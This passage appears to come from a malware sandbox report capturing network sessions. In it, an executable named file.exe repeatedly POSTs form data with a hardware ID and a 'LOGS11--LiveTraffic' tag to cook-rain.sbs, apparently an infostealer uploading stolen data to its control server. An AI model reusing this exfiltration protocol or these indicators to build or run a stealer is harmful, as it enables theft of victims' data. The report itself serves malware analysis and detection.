2024-11-20 20:04:06 UTC	1369	IN	Data Raw: 4f 57 69 72 78 44 30 58 50 75 72 70 5a 46 43 51 4c 6a 47 76 2f 64 5a 78 39 68 37 43 52 36 69 38 79 4c 51 30 4a 49 77 45 4a 77 34 51 52 61 76 30 55 43 70 50 38 6e 30 30 58 49 77 2f 4e 63 72 52 6d 31 33 79 47 38 38 2b 73 59 33 4a 6f 43 68 74 6c 58 55 7a 6c 6c 52 6c 6d 38 56 63 61 32 65 50 62 52 52 74 6f 58 6f 78 2f 76 57 6a 62 65 6f 62 7a 77 61 38 6e 4e 69 30 4e 43 7a 63 4e 44 4d 4b 63 42 6d 72 2f 45 67 6d 55 2b 70 39 45 48 69 34 46 79 44 54 2f 4c 4e 74 69 79 36 69 4a 68 79 38 37 41 51 6f 59 5a 52 70 43 33 4d 34 54 5a 72 5a 50 52 5a 62 78 6b 55 30 61 4b 77 44 50 66 37 52 6d 33 58 32 44 2f 64 75 70 4c 44 4d 73 44 51 77 6a 41 77 33 4b 69 42 4e 6a 39 78 38 43 31 37 54 62 52 51 39 6f 58 6f 78 61 74 6d 2f 59 4f 70 53 2b 30 4f 6f 6b 4d 47 68 56 51 79 55 50 42 73 Data Ascii: OWirxD0XPurpZFCQLjGv/dZx9h7CR6i8yLQ0JIwEJw4QRav0UCpP8n00XIw/NcrRm13yG88+sY3JoChtlXUzllRlm8Vca2ePbRRtoXox/vWjbeobzwa8nNi0NCzcNDMKcBmr/EgmU+p9EHi4FyDT/LNtiy6iJhy87AQoYZRpC3M4TZrZPRZbxkU0aKwDPf7Rm3X2D/dupLDMsDQwjAw3KiBNj9x8C17TbRQ9oXoxatm/YOpS+0OokMGhVQyUPBs
2024-11-20 20:04:06 UTC	1369	IN	Data Raw: 79 56 6c 46 6a 37 72 44 41 69 49 72 43 4d 4a 7a 70 33 32 52 58 5a 33 36 7a 72 6f 6b 4b 79 64 4e 54 57 55 44 54 4a 33 64 57 69 72 79 42 6b 58 50 71 73 6b 5a 51 6e 74 52 6e 43 61 75 49 73 55 36 6e 62 43 52 2b 47 31 38 4f 6b 31 62 5a 55 49 50 31 35 77 53 61 65 41 55 51 71 6e 45 76 46 67 61 4c 68 48 64 53 6f 39 72 78 6e 65 4e 35 39 6a 6d 4e 6a 38 6d 41 77 51 7a 52 55 4b 46 67 56 51 79 7a 31 64 4e 31 38 58 56 41 67 39 6f 58 6f 78 42 73 6d 4c 53 66 5a 33 68 68 49 30 35 4d 53 34 61 45 6d 56 4c 54 4d 50 4f 54 44 71 34 56 77 47 47 75 73 4d 53 52 58 4e 54 6e 79 50 68 50 73 4d 30 6b 72 44 66 36 6e 74 75 5a 6b 30 52 5a 56 31 4d 67 6f 30 47 65 50 41 55 45 35 53 39 70 58 77 35 4c 77 44 4a 63 36 45 75 38 6e 47 66 39 34 6e 6b 59 7a 4e 6f 56 54 70 6c 54 55 7a 36 77 46 52 Data Ascii: yVlFj7rDAiIrCMJzp32RXZ36zrokKydNTWUDTJ3dWiryBkXPqskZQntRnCauIsU6nbCR+G18Ok1bZUIP15wSaeAUQqnEvFgaLhHdSo9rxneN59jmNj8mAwQzRUKFgVQyz1dN18XVAg9oXoxBsmLSfZ3hhI05MS4aEmVLTMPOTDq4VwGGusMSRXNTnyPhPsM0krDf6ntuZk0RZV1Mgo0GePAUE5S9pXw5LwDJc6Eu8nGf94nkYzNoVTplTUz6wFR
2024-11-20 20:04:06 UTC	1369	IN	Data Raw: 5a 50 72 32 78 70 48 65 6c 32 5a 4a 2b 59 38 6a 6d 58 46 36 59 6d 38 59 32 52 36 51 30 4d 33 52 56 53 46 79 52 64 34 35 42 45 47 67 66 6e 63 66 43 6b 50 43 4d 74 31 70 33 7a 4c 64 63 54 65 2f 34 73 64 41 6a 30 4f 44 53 73 43 47 74 54 4f 57 69 72 35 56 31 32 75 75 74 4d 43 4b 47 5a 47 31 44 54 70 4c 4f 6c 35 68 66 37 4f 76 44 4a 78 44 77 4d 45 4a 42 4d 63 30 6f 46 62 52 4d 41 32 52 64 6d 36 6e 51 4a 50 65 6b 69 4d 63 4b 41 73 68 43 72 5a 71 35 7a 35 64 47 78 36 45 6b 30 38 52 52 71 46 31 6b 59 6b 74 67 56 46 7a 37 72 63 51 51 55 36 41 4d 39 69 73 69 76 69 52 4b 7a 2b 7a 71 73 31 4c 43 55 42 49 69 59 55 42 76 75 77 41 57 6e 34 47 51 4b 42 36 39 73 4d 56 79 64 47 6c 45 33 78 4a 4a 78 46 78 62 44 52 36 6e 74 38 48 51 34 4e 4b 77 49 61 31 4d 4d 7a 5a 50 45 57 Data Ascii: ZPr2xpHel2ZJ+Y8jmXF6Ym8Y2R6Q0M3RVSFyRd45BEGgfncfCkPCMt1p3zLdcTe/4sdAj0ODSsCGtTOWir5V12uutMCKGZG1DTpLOl5hf7OvDJxDwMEJBMc0oFbRMA2Rdm6nQJPekiMcKAshCrZq5z5dGx6Ek08RRqF1kYktgVFz7rcQQU6AM9isiviRKz+zqs1LCUBIiYUBvuwAWn4GQKB69sMVydGlE3xJJxFxbDR6nt8HQ4NKwIa1MMzZPEW
2024-11-20 20:04:06 UTC	1369	IN	Data Raw: 68 55 46 47 68 49 6a 47 7a 78 4e 4a 78 58 6d 66 66 5a 71 57 45 51 4c 77 41 50 5a 52 70 43 33 4d 34 43 4b 71 35 45 53 39 66 6f 32 78 70 58 62 77 58 65 5a 72 64 76 79 6e 6e 4d 7a 76 65 48 4d 54 73 34 44 6b 45 55 43 41 6a 54 6d 78 64 36 38 53 6b 37 75 75 69 63 55 68 52 71 49 2f 59 32 67 48 72 66 65 6f 58 33 69 65 52 6a 4a 47 68 56 51 77 67 58 43 39 57 4e 56 6b 2f 4d 56 54 53 42 2b 5a 74 4d 45 47 67 5a 67 6d 33 78 65 70 77 69 32 4c 36 4a 75 47 4e 6b 61 45 6f 4e 4b 41 51 50 79 34 30 47 65 50 41 55 45 35 53 39 70 58 77 34 49 77 66 63 65 61 42 68 32 47 79 31 7a 75 36 73 4a 6a 73 57 4d 7a 51 30 41 68 79 48 71 42 64 38 39 56 64 4c 31 2b 4c 62 47 6c 63 50 41 4d 6c 7a 38 53 4b 63 66 73 75 6f 69 59 55 6f 50 54 67 41 45 69 67 42 47 6f 65 70 45 6d 2f 78 56 30 76 58 39 Data Ascii: hUFGhIjGzxNJxXmffZqWEQLwAPZRpC3M4CKq5ES9fo2xpXbwXeZrdvynnMzveHMTs4DkEUCAjTmxd68Sk7uuicUhRqI/Y2gHrfeoX3ieRjJGhVQwgXC9WNVk/MVTSB+ZtMEGgZgm3xepwi2L6JuGNkaEoNKAQPy40GePAUE5S9pXw4IwfceaBh2Gy1zu6sJjsWMzQ0AhyHqBd89VdL1+LbGlcPAMlz8SKcfsuoiYUoPTgAEigBGoepEm/xV0vX9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	104.21.66.38	443	6860	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:04:08 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=Y9CMD087JJA User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18127 Host: cook-rain.sbs
2024-11-20 20:04:08 UTC	15331	OUT	Data Raw: 2d 2d 59 39 43 4d 44 30 38 37 4a 4a 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 31 39 46 45 37 35 37 38 43 45 46 46 36 37 42 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 59 39 43 4d 44 30 38 37 4a 4a 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 59 39 43 4d 44 30 38 37 4a 4a 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 59 39 43 4d 44 30 38 37 4a 4a 41 Data Ascii: --Y9CMD087JJAContent-Disposition: form-data; name="hwid"319FE7578CEFF67B63CFCF7E6C45F838--Y9CMD087JJAContent-Disposition: form-data; name="pid"2--Y9CMD087JJAContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--Y9CMD087JJA
2024-11-20 20:04:08 UTC	2796	OUT	Data Raw: 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 f8 52 f0 fd e9 0a 3f 6c af 16 4d 6d b7 df b2 9f ab 08 69 99 b1 aa c5 3d ae 79 aa d5 a8 00 8f 1d 07 3c Data Ascii: FD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3R?lMmi=y<
2024-11-20 20:04:09 UTC	989	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:04:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=e3o479sd9fkf69lrb8nj8ere5p; expires=Sun, 16-Mar-2025 13:50:47 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yRqhQ8zbbajdUUtLwSq2uUYyH%2Fl5%2FO25wfVdVwrd8bnAx2d6BkKwD4m99DnMky4R6lS7Qdw%2FeEa49pKJQoWijUNfPAX7XjX7XdjR4GIOto8hUB%2FlXw3r3F%2FlWaJiAsHL"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e5b0c216917c33b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1604&sent=12&recv=24&lost=0&retrans=0&sent_bytes=2829&recv_bytes=19079&delivery_rate=1773997&cwnd=182&unsent_bytes=0&cid=b23632045f4b8052&ts=1064&x=0"
2024-11-20 20:04:09 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-20 20:04:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	104.21.66.38	443	6860	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:04:10 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=G4LKVC42AX0DPUR2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8778 Host: cook-rain.sbs
2024-11-20 20:04:10 UTC	8778	OUT	Data Raw: 2d 2d 47 34 4c 4b 56 43 34 32 41 58 30 44 50 55 52 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 31 39 46 45 37 35 37 38 43 45 46 46 36 37 42 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 47 34 4c 4b 56 43 34 32 41 58 30 44 50 55 52 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 47 34 4c 4b 56 43 34 32 41 58 30 44 50 55 52 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 Data Ascii: --G4LKVC42AX0DPUR2Content-Disposition: form-data; name="hwid"319FE7578CEFF67B63CFCF7E6C45F838--G4LKVC42AX0DPUR2Content-Disposition: form-data; name="pid"2--G4LKVC42AX0DPUR2Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic
2024-11-20 20:04:11 UTC	980	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:04:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=na4r384k9vhgn4nqehglsos316; expires=Sun, 16-Mar-2025 13:50:50 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wSt86a8G6AFqe%2BHad1A0kdPSNVX5r7Jejrng2tBraFvza%2BnupKFlN2GN1JgshEUyPKRr3MG7ZNZP7NyvmjtI7555Iycr0V6Rf0oyPpc18dA5SWxI0UZh4EvwUkRtM3rC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e5b0c311d6ede92-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1587&sent=9&recv=14&lost=0&retrans=0&sent_bytes=2830&recv_bytes=9712&delivery_rate=1783750&cwnd=252&unsent_bytes=0&cid=dd5eab2db3caa0c7&ts=968&x=0"
2024-11-20 20:04:11 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-20 20:04:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49734	104.21.66.38	443	6860	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:04:13 UTC	269	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=XAOTQLWO User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20383 Host: cook-rain.sbs
2024-11-20 20:04:13 UTC	15331	OUT	Data Raw: 2d 2d 58 41 4f 54 51 4c 57 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 31 39 46 45 37 35 37 38 43 45 46 46 36 37 42 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 58 41 4f 54 51 4c 57 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 58 41 4f 54 51 4c 57 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 58 41 4f 54 51 4c 57 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 Data Ascii: --XAOTQLWOContent-Disposition: form-data; name="hwid"319FE7578CEFF67B63CFCF7E6C45F838--XAOTQLWOContent-Disposition: form-data; name="pid"3--XAOTQLWOContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--XAOTQLWOContent-Di
2024-11-20 20:04:13 UTC	5052	OUT	Data Raw: 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9b dc 40 f0 eb b1 64 f0 52 3c 78 29 f8 d7 Data Ascii: lrQMn 64F6(X&7~`aO@dR<x)
2024-11-20 20:04:14 UTC	988	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:04:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ri0uf6if8iac4hbs51fmcpbbhk; expires=Sun, 16-Mar-2025 13:50:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=e%2BCdZljzNnaIh86chXTgFsu3RXj%2BZr222iAIQoaJdofJWkryzzo4fC%2FqQdD9G%2FiZDKF9%2B8P0ocjdlUPJ2HqjPcRn0HBLD8H1ovgPiBuBW3zKH98ZQSVt2BKKhs532X60"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e5b0c416f90186d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1640&sent=11&recv=24&lost=0&retrans=0&sent_bytes=2830&recv_bytes=21332&delivery_rate=1752701&cwnd=250&unsent_bytes=0&cid=866b3f30d6d2e1d0&ts=838&x=0"
2024-11-20 20:04:14 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-20 20:04:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49735	104.21.66.38	443	6860	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:04:16 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=KFP4KTPQYDED9UF User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1233 Host: cook-rain.sbs
2024-11-20 20:04:16 UTC	1233	OUT	Data Raw: 2d 2d 4b 46 50 34 4b 54 50 51 59 44 45 44 39 55 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 31 39 46 45 37 35 37 38 43 45 46 46 36 37 42 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 4b 46 50 34 4b 54 50 51 59 44 45 44 39 55 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4b 46 50 34 4b 54 50 51 59 44 45 44 39 55 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d Data Ascii: --KFP4KTPQYDED9UFContent-Disposition: form-data; name="hwid"319FE7578CEFF67B63CFCF7E6C45F838--KFP4KTPQYDED9UFContent-Disposition: form-data; name="pid"1--KFP4KTPQYDED9UFContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic-
2024-11-20 20:04:16 UTC	983	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:04:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=c44ke1504fbndpoqjuspo70bld; expires=Sun, 16-Mar-2025 13:50:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=A2wYo7%2FwPYOlxE%2FRN8DUV6aNv94cH42lo6XPUPhBiCtiiEf2aXN0rjROHH0%2FV34OM2IcqVNtoN%2BTMXUolMnrckgaVATw2wzZbK2KYE7QrHzbuiUEcGnW7nbvgLJZzYU8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e5b0c524bc5178c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1728&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2828&recv_bytes=2144&delivery_rate=1706604&cwnd=139&unsent_bytes=0&cid=354b8d52440efd29&ts=802&x=0"
2024-11-20 20:04:16 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-20 20:04:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49737	104.21.66.38	443	6860	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 20:04:18 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=4NU6KC249F User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 549327 Host: cook-rain.sbs
2024-11-20 20:04:18 UTC	15331	OUT	Data Raw: 2d 2d 34 4e 55 36 4b 43 32 34 39 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 31 39 46 45 37 35 37 38 43 45 46 46 36 37 42 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 34 4e 55 36 4b 43 32 34 39 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 34 4e 55 36 4b 43 32 34 39 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 34 4e 55 36 4b 43 32 34 39 46 0d 0a 43 6f Data Ascii: --4NU6KC249FContent-Disposition: form-data; name="hwid"319FE7578CEFF67B63CFCF7E6C45F838--4NU6KC249FContent-Disposition: form-data; name="pid"1--4NU6KC249FContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--4NU6KC249FCo
2024-11-20 20:04:18 UTC	15331	OUT	Data Raw: c0 e4 53 e0 78 38 55 f9 fe 79 04 d4 1b a2 34 14 be 1b 37 0c 78 92 63 62 fd 7f 2e 23 ec ab 00 9a b8 9c 9b 6d f1 97 01 db 27 f9 e8 34 b6 82 98 e9 02 dd d3 58 20 76 45 1d 56 ca 27 24 87 f8 16 9c 75 16 14 08 90 26 ae df 18 3f 11 27 40 9b 2f 56 9f 8a bf 13 6e b7 11 11 70 2c 6c 2f c3 e8 0f 21 5b 67 e7 83 28 e3 20 bc 3e 28 e9 08 f2 9f cc 83 e0 6c a8 52 0a 7f a4 19 2e dc 0f 1c b4 3a 01 b9 9a e7 2d 88 54 df b8 b4 28 70 e3 df 96 8f 03 2e 7d 63 7d ef d2 46 ec 87 9c de a1 43 35 eb 37 ae 52 a1 02 fb 8a 0e 93 92 ab 89 21 ae 93 69 51 28 b8 77 bf 8f 88 11 26 14 99 76 62 68 5a 0e 06 24 f9 c7 53 73 41 71 b0 a3 cb 9a 43 83 06 7e 3a 60 e9 e0 fb 3e 3d b0 dd 58 7e f7 cd a9 d1 c1 8b bb fb bd 6f 9c ec 95 ee 9d 1c 53 b4 7f eb 50 52 95 fd c6 a6 a2 e0 bf 8b 69 b3 87 ff 01 5a 55 a1 Data Ascii: Sx8Uy47xcb.#m'4X vEV'$u&?'@/Vnp,l/![g( >(lR.:-T(p.}c}FC57R!iQ(w&vbhZ$SsAqC~:`>=X~oSPRiZU
2024-11-20 20:04:18 UTC	15331	OUT	Data Raw: 9d 48 a9 97 e8 c2 d4 6a 29 bc 6d 0d c6 07 0c d7 52 4d b8 df 3f 8e c7 95 8d 4e 4e 4f 47 d7 e9 4f 28 39 ab 80 9d 8e 11 10 41 6e 1f 9e 6a 19 48 54 51 52 8c 88 fb f5 fe c4 31 f9 48 03 a7 2e 43 9c df 71 15 3e 3f 5e be 5a 57 07 f7 a8 b1 ec d7 bb 0c 02 ff 5d 35 eb 69 81 57 25 3c 3c 9a 9f 47 3c 16 cd 2f b4 a6 d4 b7 24 b4 b3 49 4e fb d5 46 ed a3 38 82 1c 4a 68 0f ce e4 a1 ee 92 78 a5 ca 2b c1 d4 96 3b a1 b5 7b f2 27 e5 fa f9 bf ab 67 4d 5e 19 fd 7d 36 fa 6a 7a c8 3e be bb 41 a2 7d d4 66 c3 e7 8d d1 b0 bf f8 2f c5 da a9 10 7e f4 4f 66 f7 ba d3 15 bf 47 99 86 88 ce 2c d1 ac dc 16 59 a1 f5 e1 d8 63 43 50 77 d4 96 c8 d3 1d 05 2a e9 2c e5 09 5e ba 48 86 c4 0b 76 b0 68 ba 18 73 7c 73 96 db fd 9e a3 df 6a 82 f7 d0 ff b5 c3 b4 b5 93 fe a0 04 e2 5f 94 5d bc 3e 6f 33 12 29 Data Ascii: Hj)mRM?NNOGO(9AnjHTQR1H.Cq>?^ZW]5iW%<<G</$INF8Jhx+;{'gM^}6jz>A}f/~OfG,YcCPw*,^Hvhs\|sj_]>o3)
